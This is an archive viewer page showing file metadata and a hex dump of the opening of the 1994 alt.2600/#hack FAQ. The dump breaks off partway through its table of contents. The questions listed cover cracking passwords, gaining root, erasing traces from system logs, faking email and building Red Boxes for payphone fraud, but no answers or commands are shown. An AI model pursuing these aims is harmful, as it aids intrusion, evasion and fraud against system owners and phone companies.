home *** CD-ROM | disk | FTP | other *** search
/ Mac OS 9 Serial Number Archive / SN Archive 2023.11.04.toast / Cracking Texts / Hackintosh Bible v1.1 / Hackintosh Bible v1.1.rsrc / TEXT_130.txt < prev    next >
Mailbox/MIME Entity  |  1996-08-07  |  31.9 KB

open in: MacOS 8.1     |     Win98     |     DOS

browse contents    |     view JSON data     |     view as text


This file was processed as: Mailbox/MIME Entity (archive/mbox).

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
1% dexvert Swift 3D 3D Graphic (poly/swift3D3DGraphic) ext Unsupported
1% dexvert Boost Text serialization (other/boostTextSerialization) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From will@gnu.ai.mit.edu (Will Spencer)" default
99% file C source text default
98% file C source, ASCII text default
100% TrID E-Mail message (Var. 2) default
100% checkBytes Printable ASCII default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% gt2 Textdatei (UNIX) default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 77 69 6c | 6c 40 67 6e 75 2e 61 69 |From wil|l@gnu.ai|
|00000010| 2e 6d 69 74 2e 65 64 75 | 20 28 57 69 6c 6c 20 53 |.mit.edu| (Will S|
|00000020| 70 65 6e 63 65 72 29 0a | 4e 65 77 73 67 72 6f 75 |pencer).|Newsgrou|
|00000030| 70 73 3a 20 61 6c 74 2e | 32 36 30 30 2c 61 6c 74 |ps: alt.|2600,alt|
|00000040| 2e 61 6e 73 77 65 72 73 | 2c 6e 65 77 73 2e 61 6e |.answers|,news.an|
|00000050| 73 77 65 72 73 0a 53 75 | 62 6a 65 63 74 3a 20 61 |swers.Su|bject: a|
|00000060| 6c 74 2e 32 36 30 30 20 | 46 41 51 2c 20 42 65 74 |lt.2600 |FAQ, Bet|
|00000070| 61 20 2e 30 31 30 20 2d | 20 50 61 72 74 20 31 2f |a .010 -| Part 1/|
|00000080| 31 0a 46 6f 6c 6c 6f 77 | 75 70 2d 54 6f 3a 20 61 |1.Follow|up-To: a|
|00000090| 6c 74 2e 32 36 30 30 0a | 52 65 70 6c 79 2d 54 6f |lt.2600.|Reply-To|
|000000a0| 3a 20 77 69 6c 6c 40 67 | 6e 75 2e 61 69 2e 6d 69 |: will@g|nu.ai.mi|
|000000b0| 74 2e 65 64 75 20 28 46 | 41 51 20 43 6f 6d 6d 65 |t.edu (F|AQ Comme|
|000000c0| 6e 74 73 20 61 64 64 72 | 65 73 73 29 0a 53 75 6d |nts addr|ess).Sum|
|000000d0| 6d 61 72 79 3a 20 54 68 | 69 73 20 70 6f 73 74 69 |mary: Th|is posti|
|000000e0| 6e 67 20 63 6f 6e 74 61 | 69 6e 73 20 61 20 6c 69 |ng conta|ins a li|
|000000f0| 73 74 20 6f 66 20 46 72 | 65 71 75 65 6e 74 6c 79 |st of Fr|equently|
|00000100| 20 41 73 6b 65 64 0a 09 | 20 51 75 65 73 74 69 6f | Asked..| Questio|
|00000110| 6e 73 20 28 61 6e 64 20 | 74 68 65 69 72 20 61 6e |ns (and |their an|
|00000120| 73 77 65 72 73 29 20 61 | 62 6f 75 74 20 68 61 63 |swers) a|bout hac|
|00000130| 6b 69 6e 67 2e 20 20 49 | 74 0a 09 20 73 68 6f 75 |king. I|t.. shou|
|00000140| 6c 64 20 62 65 20 72 65 | 61 64 20 62 79 20 61 6e |ld be re|ad by an|
|00000150| 79 6f 6e 65 20 77 68 6f | 20 77 69 73 68 65 73 20 |yone who| wishes |
|00000160| 74 6f 20 70 6f 73 74 20 | 74 6f 20 74 68 65 0a 09 |to post |to the..|
|00000170| 20 61 6c 74 2e 32 36 30 | 30 20 6e 65 77 73 67 72 | alt.260|0 newsgr|
|00000180| 6f 75 70 20 6f 72 20 75 | 73 65 20 74 68 65 20 49 |oup or u|se the I|
|00000190| 52 43 20 63 68 61 6e 6e | 65 6c 20 23 68 61 63 6b |RC chann|el #hack|
|000001a0| 2e 0a 0a 41 72 63 68 69 | 76 65 2d 6e 61 6d 65 3a |...Archi|ve-name:|
|000001b0| 20 61 6c 74 2d 32 36 30 | 30 2d 66 61 71 0a 50 6f | alt-260|0-faq.Po|
|000001c0| 73 74 69 6e 67 2d 46 72 | 65 71 75 65 6e 63 79 3a |sting-Fr|equency:|
|000001d0| 20 52 61 6e 64 6f 6d 0a | 4c 61 73 74 2d 4d 6f 64 | Random.|Last-Mod|
|000001e0| 69 66 69 65 64 3a 20 31 | 39 39 34 2f 31 32 2f 31 |ified: 1|994/12/1|
|000001f0| 38 0a 56 65 72 73 69 6f | 6e 3a 20 42 65 74 61 20 |8.Versio|n: Beta |
|00000200| 2e 30 31 30 0a 0a 0a 45 | 64 69 74 6f 72 73 20 4e |.010...E|ditors N|
|00000210| 6f 74 65 3a 20 57 65 6c | 63 6f 6d 65 20 74 6f 20 |ote: Wel|come to |
|00000220| 42 65 74 61 20 2e 30 31 | 30 20 6f 66 20 74 68 65 |Beta .01|0 of the|
|00000230| 20 61 6c 74 2e 32 36 30 | 30 2f 23 68 61 63 6b 20 | alt.260|0/#hack |
|00000240| 46 41 51 21 0a 0a 20 20 | 20 20 20 20 20 20 20 20 |FAQ!.. | |
|00000250| 20 20 20 20 45 6c 65 65 | 74 20 67 72 65 65 74 73 | Elee|t greets|
|00000260| 20 67 6f 20 6f 75 74 20 | 74 6f 20 4f 75 74 73 69 | go out |to Outsi|
|00000270| 64 65 72 20 66 6f 72 20 | 70 72 6f 64 75 63 69 6e |der for |producin|
|00000280| 67 20 61 6e 0a 20 20 20 | 20 20 20 20 20 20 20 20 |g an. | |
|00000290| 20 20 20 65 78 63 65 6c | 6c 65 6e 74 20 57 57 57 | excel|lent WWW|
|000002a0| 20 76 65 72 73 69 6f 6e | 20 6f 66 20 74 68 69 73 | version| of this|
|000002b0| 20 64 6f 63 75 6d 65 6e | 74 20 61 74 3a 0a 20 20 | documen|t at:. |
|000002c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 68 74 74 70 | | http|
|000002d0| 3a 2f 2f 77 77 77 2e 65 | 6e 67 69 6e 2e 75 6d 69 |://www.e|ngin.umi|
|000002e0| 63 68 2e 65 64 75 2f 7e | 6a 67 6f 74 74 73 2f 68 |ch.edu/~|jgotts/h|
|000002f0| 61 63 6b 2d 66 61 71 2e | 68 74 6d 6c 0a 0a 20 20 |ack-faq.|html.. |
|00000300| 20 20 20 20 20 20 20 20 | 20 20 20 20 54 68 65 20 | | The |
|00000310| 70 75 72 70 6f 73 65 20 | 6f 66 20 74 68 69 73 20 |purpose |of this |
|00000320| 46 41 51 20 69 73 20 74 | 6f 20 67 69 76 65 20 79 |FAQ is t|o give y|
|00000330| 6f 75 20 61 20 67 65 6e | 65 72 61 6c 0a 20 20 20 |ou a gen|eral. |
|00000340| 20 20 20 20 20 20 20 20 | 20 20 20 69 6e 74 72 6f | | intro|
|00000350| 64 75 63 74 69 6f 6e 20 | 74 6f 20 74 68 65 20 74 |duction |to the t|
|00000360| 6f 70 69 63 73 20 63 6f | 76 65 72 65 64 20 69 6e |opics co|vered in|
|00000370| 20 61 6c 74 2e 32 36 30 | 30 20 61 6e 64 0a 20 20 | alt.260|0 and. |
|00000380| 20 20 20 20 20 20 20 20 | 20 20 20 20 23 68 61 63 | | #hac|
|00000390| 6b 2e 20 20 4e 6f 20 64 | 6f 63 75 6d 65 6e 74 20 |k. No d|ocument |
|000003a0| 77 69 6c 6c 20 6d 61 6b | 65 20 79 6f 75 20 61 20 |will mak|e you a |
|000003b0| 68 61 63 6b 65 72 2e 0a | 0a 20 20 20 20 20 20 20 |hacker..|. |
|000003c0| 20 20 20 20 20 20 20 49 | 66 20 79 6f 75 20 68 61 | I|f you ha|
|000003d0| 76 65 20 61 20 71 75 65 | 73 74 69 6f 6e 73 20 72 |ve a que|stions r|
|000003e0| 65 67 61 72 64 69 6e 67 | 20 61 6e 79 20 6f 66 20 |egarding| any of |
|000003f0| 74 68 65 20 74 6f 70 69 | 63 73 0a 20 20 20 20 20 |the topi|cs. |
|00000400| 20 20 20 20 20 20 20 20 | 20 63 6f 76 65 72 65 64 | | covered|
|00000410| 20 69 6e 20 74 68 65 20 | 46 41 51 2c 20 70 6c 65 | in the |FAQ, ple|
|00000420| 61 73 65 20 64 69 72 65 | 63 74 20 69 74 20 74 6f |ase dire|ct it to|
|00000430| 20 61 6c 74 2e 32 36 30 | 30 20 6f 72 0a 20 20 20 | alt.260|0 or. |
|00000440| 20 20 20 20 20 20 20 20 | 20 20 20 23 68 61 63 6b | | #hack|
|00000450| 2e 20 20 50 6c 65 61 73 | 65 20 64 6f 20 6e 6f 74 |. Pleas|e do not|
|00000460| 20 65 2d 6d 61 69 6c 20 | 6d 65 20 77 69 74 68 20 | e-mail |me with |
|00000470| 74 68 65 6d 2c 20 49 27 | 6d 20 67 65 74 74 69 6e |them, I'|m gettin|
|00000480| 67 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |g. | |
|00000490| 73 77 61 6d 70 65 64 2e | 0a 0a 20 20 20 20 20 20 |swamped.|.. |
|000004a0| 20 20 20 20 20 20 20 20 | 49 66 20 79 6f 75 72 20 | |If your |
|000004b0| 63 6f 70 79 20 6f 66 20 | 74 68 65 20 23 68 61 63 |copy of |the #hac|
|000004c0| 6b 20 46 41 51 20 64 6f | 65 73 20 6e 6f 74 20 65 |k FAQ do|es not e|
|000004d0| 6e 64 20 77 69 74 68 20 | 74 68 65 0a 20 20 20 20 |nd with |the. |
|000004e0| 20 20 20 20 20 20 20 20 | 20 20 6c 65 74 74 65 72 | | letter|
|000004f0| 73 20 45 4f 54 20 6f 6e | 20 61 20 6c 69 6e 65 20 |s EOT on| a line |
|00000500| 62 79 20 74 68 65 6d 73 | 65 6c 76 65 73 2c 20 79 |by thems|elves, y|
|00000510| 6f 75 20 64 6f 20 6e 6f | 74 20 68 61 76 65 20 74 |ou do no|t have t|
|00000520| 68 65 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |he. | |
|00000530| 20 65 6e 74 69 72 65 20 | 46 41 51 2e 0a 0a 0a 20 | entire |FAQ.... |
|00000540| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000550| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000560| 2a 2a 20 42 45 54 41 20 | 2a 2a 0a 0a 20 20 20 20 |** BETA |**.. |
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000580| 20 20 20 20 20 20 20 20 | 20 42 65 74 61 20 52 65 | | Beta Re|
|00000590| 76 69 73 69 6f 6e 20 2e | 30 31 30 0a 0a 09 09 09 |vision .|010.....|
|000005a0| 20 20 20 20 61 6c 74 2e | 32 36 30 30 2f 23 48 61 | alt.|2600/#Ha|
|000005b0| 63 6b 20 46 2e 41 2e 51 | 2e 0a 0a 20 20 20 20 20 |ck F.A.Q|... |
|000005c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000005d0| 20 20 20 41 20 54 4e 4f | 20 43 6f 6d 6d 75 6e 69 | A TNO| Communi|
|000005e0| 63 61 74 69 6f 6e 20 50 | 72 6f 64 75 63 74 69 6f |cation P|roductio|
|000005f0| 6e 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |n.. | |
|00000600| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000610| 20 20 20 20 20 20 20 62 | 79 0a 09 09 09 09 20 20 | b|y..... |
|00000620| 56 6f 79 61 67 65 72 0a | 09 09 09 20 20 20 20 77 |Voyager.|... w|
|00000630| 69 6c 6c 40 67 6e 75 2e | 61 69 2e 6d 69 74 2e 65 |ill@gnu.|ai.mit.e|
|00000640| 64 75 0a 0a 09 09 09 09 | 53 79 73 6f 70 20 6f 66 |du......|Sysop of|
|00000650| 0a 09 09 09 20 20 20 20 | 20 48 61 63 6b 65 72 27 |.... | Hacker'|
|00000660| 73 20 48 61 76 65 6e 0a | 09 09 09 20 20 20 20 20 |s Haven.|... |
|00000670| 20 28 33 30 33 29 33 34 | 33 2d 34 30 35 33 0a 0a | (303)34|3-4053..|
|00000680| 09 09 09 20 20 20 57 69 | 74 68 20 73 70 65 63 69 |... Wi|th speci|
|00000690| 61 6c 20 74 68 61 6e 6b | 73 20 74 6f 3a 0a 0a 20 |al thank|s to:.. |
|000006a0| 20 20 20 20 20 20 20 41 | 2d 46 6c 61 74 2c 20 41 | A|-Flat, A|
|000006b0| 6c 2c 20 41 6c 65 70 68 | 31 2c 20 42 6c 75 65 73 |l, Aleph|1, Blues|
|000006c0| 6d 61 6e 2c 20 43 2d 43 | 75 72 76 65 2c 20 44 65 |man, C-C|urve, De|
|000006d0| 61 64 4b 61 74 2c 20 45 | 64 69 73 6f 6e 2c 0a 20 |adKat, E|dison,. |
|000006e0| 20 20 20 20 20 20 20 48 | 6f 62 62 69 74 2c 20 4b | H|obbit, K|
|000006f0| 43 72 6f 77 2c 20 4d 61 | 6a 6f 72 2c 20 4d 61 72 |Crow, Ma|jor, Mar|
|00000700| 61 75 64 65 72 2c 20 4e | 6f 76 6f 63 61 69 6e 2c |auder, N|ovocain,|
|00000710| 20 4f 75 74 73 69 64 65 | 72 2c 20 50 72 65 73 65 | Outside|r, Prese|
|00000720| 6e 63 65 2c 0a 20 20 20 | 20 20 20 20 20 52 6f 67 |nce,. | Rog|
|00000730| 75 65 20 41 67 65 6e 74 | 2c 20 73 62 69 6e 2c 20 |ue Agent|, sbin, |
|00000740| 54 61 72 61 6e 20 4b 69 | 6e 67 2c 20 54 6f 6d 65 |Taran Ki|ng, Tome|
|00000750| 73 20 61 6e 64 20 54 68 | 65 53 61 69 6e 74 2e 0a |s and Th|eSaint..|
|00000760| 0a 0a 09 09 20 20 20 20 | 20 20 20 57 65 20 77 6f |.... | We wo|
|00000770| 72 6b 20 69 6e 20 74 68 | 65 20 64 61 72 6b 0a 09 |rk in th|e dark..|
|00000780| 09 20 20 20 20 20 20 20 | 57 65 20 64 6f 20 77 68 |. |We do wh|
|00000790| 61 74 20 77 65 20 63 61 | 6e 0a 09 09 20 20 20 20 |at we ca|n... |
|000007a0| 20 20 20 57 65 20 67 69 | 76 65 20 77 68 61 74 20 | We gi|ve what |
|000007b0| 77 65 20 68 61 76 65 0a | 09 09 20 20 20 20 20 20 |we have.|.. |
|000007c0| 20 4f 75 72 20 64 6f 75 | 62 74 20 69 73 20 6f 75 | Our dou|bt is ou|
|000007d0| 72 20 70 61 73 73 69 6f | 6e 2c 0a 09 09 20 20 20 |r passio|n,... |
|000007e0| 20 20 20 20 61 6e 64 20 | 6f 75 72 20 70 61 73 73 | and |our pass|
|000007f0| 69 6f 6e 20 69 73 20 6f | 75 72 20 74 61 73 6b 0a |ion is o|ur task.|
|00000800| 09 09 20 20 20 20 20 20 | 20 54 68 65 20 72 65 73 |.. | The res|
|00000810| 74 20 69 73 20 74 68 65 | 20 6d 61 64 6e 65 73 73 |t is the| madness|
|00000820| 20 6f 66 20 61 72 74 2e | 0a 0a 09 09 09 09 2d 2d | of art.|......--|
|00000830| 20 48 65 6e 72 79 20 4a | 61 6d 65 73 0a 0a 0a 0a | Henry J|ames....|
|00000840| 53 65 63 74 69 6f 6e 20 | 41 3a 20 43 6f 6d 70 75 |Section |A: Compu|
|00000850| 74 65 72 73 0a 0a 20 20 | 30 31 2e 20 48 6f 77 20 |ters.. |01. How |
|00000860| 64 6f 20 49 20 61 63 63 | 65 73 73 20 74 68 65 20 |do I acc|ess the |
|00000870| 70 61 73 73 77 6f 72 64 | 20 66 69 6c 65 20 75 6e |password| file un|
|00000880| 64 65 72 20 55 6e 69 78 | 3f 0a 55 20 30 32 2e 20 |der Unix|?.U 02. |
|00000890| 48 6f 77 20 64 6f 20 49 | 20 63 72 61 63 6b 20 55 |How do I| crack U|
|000008a0| 6e 69 78 20 70 61 73 73 | 77 6f 72 64 73 3f 0a 20 |nix pass|words?. |
|000008b0| 20 30 33 2e 20 57 68 61 | 74 20 69 73 20 70 61 73 | 03. Wha|t is pas|
|000008c0| 73 77 6f 72 64 20 73 68 | 61 64 6f 77 69 6e 67 3f |sword sh|adowing?|
|000008d0| 0a 20 20 30 34 2e 20 57 | 68 65 72 65 20 63 61 6e |. 04. W|here can|
|000008e0| 20 49 20 66 69 6e 64 20 | 74 68 65 20 70 61 73 73 | I find |the pass|
|000008f0| 77 6f 72 64 20 66 69 6c | 65 20 69 66 20 69 74 27 |word fil|e if it'|
|00000900| 73 20 73 68 61 64 6f 77 | 65 64 3f 0a 20 20 30 35 |s shadow|ed?. 05|
|00000910| 2e 20 57 68 61 74 20 69 | 73 20 4e 49 53 2f 79 70 |. What i|s NIS/yp|
|00000920| 3f 0a 20 20 30 36 2e 20 | 57 68 61 74 20 61 72 65 |?. 06. |What are|
|00000930| 20 74 68 6f 73 65 20 77 | 65 69 72 64 20 63 68 61 | those w|eird cha|
|00000940| 72 61 63 74 65 72 73 20 | 61 66 74 65 72 20 74 68 |racters |after th|
|00000950| 65 20 63 6f 6d 6d 61 20 | 69 6e 20 6d 79 20 70 61 |e comma |in my pa|
|00000960| 73 73 77 64 20 66 69 6c | 65 3f 0a 20 20 30 37 2e |sswd fil|e?. 07.|
|00000970| 20 48 6f 77 20 64 6f 20 | 49 20 61 63 63 65 73 73 | How do |I access|
|00000980| 20 74 68 65 20 70 61 73 | 73 77 6f 72 64 20 66 69 | the pas|sword fi|
|00000990| 6c 65 20 75 6e 64 65 72 | 20 56 4d 53 3f 0a 20 20 |le under| VMS?. |
|000009a0| 30 38 2e 20 48 6f 77 20 | 64 6f 20 49 20 63 72 61 |08. How |do I cra|
|000009b0| 63 6b 20 56 4d 53 20 70 | 61 73 73 77 6f 72 64 73 |ck VMS p|asswords|
|000009c0| 3f 0a 20 20 30 39 2e 20 | 48 6f 77 20 64 6f 20 49 |?. 09. |How do I|
|000009d0| 20 62 72 65 61 6b 20 6f | 75 74 20 6f 66 20 61 20 | break o|ut of a |
|000009e0| 72 65 73 74 72 69 63 74 | 65 64 20 73 68 65 6c 6c |restrict|ed shell|
|000009f0| 3f 0a 20 20 31 30 2e 20 | 48 6f 77 20 64 6f 20 49 |?. 10. |How do I|
|00000a00| 20 67 61 69 6e 20 72 6f | 6f 74 20 66 72 6f 6d 20 | gain ro|ot from |
|00000a10| 61 20 73 75 69 64 20 73 | 63 72 69 70 74 20 6f 72 |a suid s|cript or|
|00000a20| 20 70 72 6f 67 72 61 6d | 3f 0a 20 20 31 31 2e 20 | program|?. 11. |
|00000a30| 48 6f 77 20 64 6f 20 49 | 20 65 72 61 73 65 20 6d |How do I| erase m|
|00000a40| 79 20 70 72 65 73 65 6e | 63 65 20 66 72 6f 6d 20 |y presen|ce from |
|00000a50| 74 68 65 20 73 79 73 74 | 65 6d 20 6c 6f 67 73 3f |the syst|em logs?|
|00000a60| 0a 20 20 31 32 2e 20 48 | 6f 77 20 64 6f 20 49 20 |. 12. H|ow do I |
|00000a70| 73 65 6e 64 20 66 61 6b | 65 6d 61 69 6c 3f 0a 20 |send fak|email?. |
|00000a80| 20 31 33 2e 20 48 6f 77 | 20 64 6f 20 49 20 66 61 | 13. How| do I fa|
|00000a90| 6b 65 20 70 6f 73 74 73 | 20 74 6f 20 55 73 65 4e |ke posts| to UseN|
|00000aa0| 65 74 3f 0a 20 20 31 34 | 2e 20 48 6f 77 20 64 6f |et?. 14|. How do|
|00000ab0| 20 49 20 68 61 63 6b 20 | 43 68 61 6e 4f 70 20 6f | I hack |ChanOp o|
|00000ac0| 6e 20 49 52 43 3f 0a 20 | 20 31 35 2e 20 48 6f 77 |n IRC?. | 15. How|
|00000ad0| 20 64 6f 20 49 20 6d 6f | 64 69 66 79 20 74 68 65 | do I mo|dify the|
|00000ae0| 20 49 52 43 20 63 6c 69 | 65 6e 74 20 74 6f 20 68 | IRC cli|ent to h|
|00000af0| 69 64 65 20 6d 79 20 72 | 65 61 6c 20 75 73 65 72 |ide my r|eal user|
|00000b00| 6e 61 6d 65 3f 0a 55 20 | 31 36 2e 20 48 6f 77 20 |name?.U |16. How |
|00000b10| 74 6f 20 49 20 63 68 61 | 6e 67 65 20 74 6f 20 64 |to I cha|nge to d|
|00000b20| 69 72 65 63 74 6f 72 69 | 65 73 20 77 69 74 68 20 |irectori|es with |
|00000b30| 73 74 72 61 6e 67 65 20 | 63 68 61 72 61 63 74 65 |strange |characte|
|00000b40| 72 73 20 69 6e 20 74 68 | 65 6d 3f 0a 20 20 31 37 |rs in th|em?. 17|
|00000b50| 2e 20 57 68 61 74 20 69 | 73 20 65 74 68 65 72 6e |. What i|s ethern|
|00000b60| 65 74 20 73 6e 69 66 66 | 69 6e 67 3f 0a 20 20 31 |et sniff|ing?. 1|
|00000b70| 38 2e 20 57 68 61 74 20 | 69 73 20 61 6e 20 49 6e |8. What |is an In|
|00000b80| 74 65 72 6e 65 74 20 4f | 75 74 64 69 61 6c 3f 0a |ternet O|utdial?.|
|00000b90| 20 20 31 39 2e 20 57 68 | 61 74 20 61 72 65 20 73 | 19. Wh|at are s|
|00000ba0| 6f 6d 65 20 49 6e 74 65 | 72 6e 65 74 20 4f 75 74 |ome Inte|rnet Out|
|00000bb0| 64 69 61 6c 73 3f 0a 55 | 20 32 30 2e 20 57 68 61 |dials?.U| 20. Wha|
|00000bc0| 74 20 69 73 20 74 68 69 | 73 20 73 79 73 74 65 6d |t is thi|s system|
|00000bd0| 3f 0a 55 20 32 31 2e 20 | 57 68 61 74 20 61 72 65 |?.U 21. |What are|
|00000be0| 20 74 68 65 20 64 65 66 | 61 75 6c 74 20 61 63 63 | the def|ault acc|
|00000bf0| 6f 75 6e 74 73 20 66 6f | 72 20 58 58 58 20 3f 0a |ounts fo|r XXX ?.|
|00000c00| 20 20 32 32 2e 20 57 68 | 61 74 20 70 6f 72 74 20 | 22. Wh|at port |
|00000c10| 69 73 20 58 58 58 20 6f | 6e 3f 0a 20 20 32 33 2e |is XXX o|n?. 23.|
|00000c20| 20 57 68 61 74 20 69 73 | 20 61 20 74 72 6f 6a 61 | What is| a troja|
|00000c30| 6e 2f 77 6f 72 6d 2f 76 | 69 72 75 73 2f 6c 6f 67 |n/worm/v|irus/log|
|00000c40| 69 63 20 62 6f 6d 62 3f | 0a 55 20 32 34 2e 20 48 |ic bomb?|.U 24. H|
|00000c50| 6f 77 20 63 61 6e 20 49 | 20 70 72 6f 74 65 63 74 |ow can I| protect|
|00000c60| 20 6d 79 73 65 6c 66 20 | 66 72 6f 6d 20 76 69 72 | myself |from vir|
|00000c70| 69 69 20 61 6e 64 20 73 | 75 63 68 3f 0a 20 20 32 |ii and s|uch?. 2|
|00000c80| 35 2e 20 57 68 61 74 20 | 69 73 20 43 72 79 70 74 |5. What |is Crypt|
|00000c90| 6f 78 78 78 78 78 78 78 | 3f 0a 20 20 32 36 2e 20 |oxxxxxxx|?. 26. |
|00000ca0| 57 68 61 74 20 69 73 20 | 50 47 50 3f 0a 55 20 32 |What is |PGP?.U 2|
|00000cb0| 37 2e 20 57 68 61 74 20 | 69 73 20 54 65 6d 70 65 |7. What |is Tempe|
|00000cc0| 73 74 3f 0a 20 20 32 38 | 2e 20 57 68 61 74 20 69 |st?. 28|. What i|
|00000cd0| 73 20 61 6e 20 61 6e 6f | 6e 79 6d 6f 75 73 20 72 |s an ano|nymous r|
|00000ce0| 65 6d 61 69 6c 65 72 3f | 0a 20 20 32 39 2e 20 57 |emailer?|. 29. W|
|00000cf0| 68 61 74 20 61 72 65 20 | 74 68 65 20 61 64 64 72 |hat are |the addr|
|00000d00| 65 73 73 65 73 20 6f 66 | 20 73 6f 6d 65 20 61 6e |esses of| some an|
|00000d10| 6f 6e 79 6d 6f 75 73 20 | 72 65 6d 61 69 6c 65 72 |onymous |remailer|
|00000d20| 73 3f 0a 20 20 33 30 2e | 20 48 6f 77 20 64 6f 20 |s?. 30.| How do |
|00000d30| 49 20 64 65 66 65 61 74 | 20 63 6f 70 79 20 70 72 |I defeat| copy pr|
|00000d40| 6f 74 65 63 74 69 6f 6e | 3f 0a 20 20 33 31 2e 20 |otection|?. 31. |
|00000d50| 57 68 61 74 20 69 73 20 | 31 32 37 2e 30 2e 30 2e |What is |127.0.0.|
|00000d60| 31 3f 0a 0a 0a 53 65 63 | 74 69 6f 6e 20 42 3a 20 |1?...Sec|tion B: |
|00000d70| 54 65 6c 65 70 68 6f 6e | 79 0a 0a 55 20 30 31 2e |Telephon|y..U 01.|
|00000d80| 20 57 68 61 74 20 69 73 | 20 61 20 52 65 64 20 42 | What is| a Red B|
|00000d90| 6f 78 3f 0a 55 20 30 32 | 2e 20 48 6f 77 20 64 6f |ox?.U 02|. How do|
|00000da0| 20 49 20 62 75 69 6c 64 | 20 61 20 52 65 64 20 42 | I build| a Red B|
|00000db0| 6f 78 3f 0a 20 20 30 33 | 2e 20 57 68 65 72 65 20 |ox?. 03|. Where |
|00000dc0| 63 61 6e 20 49 20 67 65 | 74 20 61 20 36 2e 35 35 |can I ge|t a 6.55|
|00000dd0| 33 36 4d 68 7a 20 63 72 | 79 73 74 61 6c 3f 0a 20 |36Mhz cr|ystal?. |
|00000de0| 20 30 34 2e 20 57 68 69 | 63 68 20 70 61 79 70 68 | 04. Whi|ch payph|
|00000df0| 6f 6e 65 73 20 77 69 6c | 6c 20 61 20 52 65 64 20 |ones wil|l a Red |
|00000e00| 42 6f 78 20 77 6f 72 6b | 20 6f 6e 3f 0a 4e 20 30 |Box work| on?.N 0|
|00000e10| 35 2e 20 48 6f 77 20 64 | 6f 20 49 20 6d 61 6b 65 |5. How d|o I make|
|00000e20| 20 6c 6f 63 61 6c 20 63 | 61 6c 6c 73 20 77 69 74 | local c|alls wit|
|00000e30| 68 20 61 20 52 65 64 20 | 42 6f 78 3f 0a 55 20 30 |h a Red |Box?.U 0|
|00000e40| 36 2e 20 57 68 61 74 20 | 69 73 20 61 20 42 6c 75 |6. What |is a Blu|
|00000e50| 65 20 42 6f 78 3f 0a 20 | 20 30 37 2e 20 44 6f 20 |e Box?. | 07. Do |
|00000e60| 42 6c 75 65 20 42 6f 78 | 65 73 20 73 74 69 6c 6c |Blue Box|es still|
|00000e70| 20 77 6f 72 6b 3f 0a 20 | 20 30 38 2e 20 57 68 61 | work?. | 08. Wha|
|00000e80| 74 20 69 73 20 61 20 42 | 6c 61 63 6b 20 42 6f 78 |t is a B|lack Box|
|00000e90| 3f 0a 55 20 30 39 2e 20 | 57 68 61 74 20 64 6f 20 |?.U 09. |What do |
|00000ea0| 61 6c 6c 20 74 68 65 20 | 63 6f 6c 6f 72 65 64 20 |all the |colored |
|00000eb0| 62 6f 78 65 73 20 64 6f | 3f 0a 20 20 31 30 2e 20 |boxes do|?. 10. |
|00000ec0| 57 68 61 74 20 69 73 20 | 61 6e 20 41 4e 41 43 20 |What is |an ANAC |
|00000ed0| 6e 75 6d 62 65 72 3f 0a | 20 20 31 31 2e 20 57 68 |number?.| 11. Wh|
|00000ee0| 61 74 20 69 73 20 74 68 | 65 20 41 4e 41 43 20 6e |at is th|e ANAC n|
|00000ef0| 75 6d 62 65 72 20 66 6f | 72 20 6d 79 20 61 72 65 |umber fo|r my are|
|00000f00| 61 3f 0a 20 20 31 32 2e | 20 57 68 61 74 20 69 73 |a?. 12.| What is|
|00000f10| 20 61 20 72 69 6e 67 62 | 61 63 6b 20 6e 75 6d 62 | a ringb|ack numb|
|00000f20| 65 72 3f 0a 55 20 31 33 | 2e 20 57 68 61 74 20 69 |er?.U 13|. What i|
|00000f30| 73 20 74 68 65 20 72 69 | 6e 67 62 61 63 6b 20 6e |s the ri|ngback n|
|00000f40| 75 6d 62 65 72 20 66 6f | 72 20 6d 79 20 61 72 65 |umber fo|r my are|
|00000f50| 61 3f 0a 20 20 31 34 2e | 20 57 68 61 74 20 69 73 |a?. 14.| What is|
|00000f60| 20 61 20 6c 6f 6f 70 3f | 0a 55 20 31 35 2e 20 57 | a loop?|.U 15. W|
|00000f70| 68 61 74 20 69 73 20 61 | 20 6c 6f 6f 70 20 69 6e |hat is a| loop in|
|00000f80| 20 6d 79 20 61 72 65 61 | 3f 0a 55 20 31 36 2e 20 | my area|?.U 16. |
|00000f90| 57 68 61 74 20 69 73 20 | 61 20 43 4e 41 20 6e 75 |What is |a CNA nu|
|00000fa0| 6d 62 65 72 3f 0a 55 20 | 31 37 2e 20 57 68 61 74 |mber?.U |17. What|
|00000fb0| 20 69 73 20 74 68 65 20 | 74 65 6c 65 70 68 6f 6e | is the |telephon|
|00000fc0| 65 20 63 6f 6d 70 61 6e | 79 20 43 4e 41 20 6e 75 |e compan|y CNA nu|
|00000fd0| 6d 62 65 72 20 66 6f 72 | 20 6d 79 20 61 72 65 61 |mber for| my area|
|00000fe0| 3f 0a 55 20 31 38 2e 20 | 57 68 61 74 20 61 72 65 |?.U 18. |What are|
|00000ff0| 20 73 6f 6d 65 20 6e 75 | 6d 62 65 72 73 20 74 68 | some nu|mbers th|
|00001000| 61 74 20 61 6c 77 61 79 | 73 20 72 69 6e 67 20 62 |at alway|s ring b|
|00001010| 75 73 79 3f 0a 55 20 31 | 39 2e 20 57 68 61 74 20 |usy?.U 1|9. What |
|00001020| 61 72 65 20 73 6f 6d 65 | 20 6e 75 6d 62 65 72 73 |are some| numbers|
|00001030| 20 74 68 61 74 20 74 65 | 6d 70 6f 72 61 72 69 6c | that te|mporaril|
|00001040| 79 20 64 69 73 63 6f 6e | 6e 65 63 74 20 70 68 6f |y discon|nect pho|
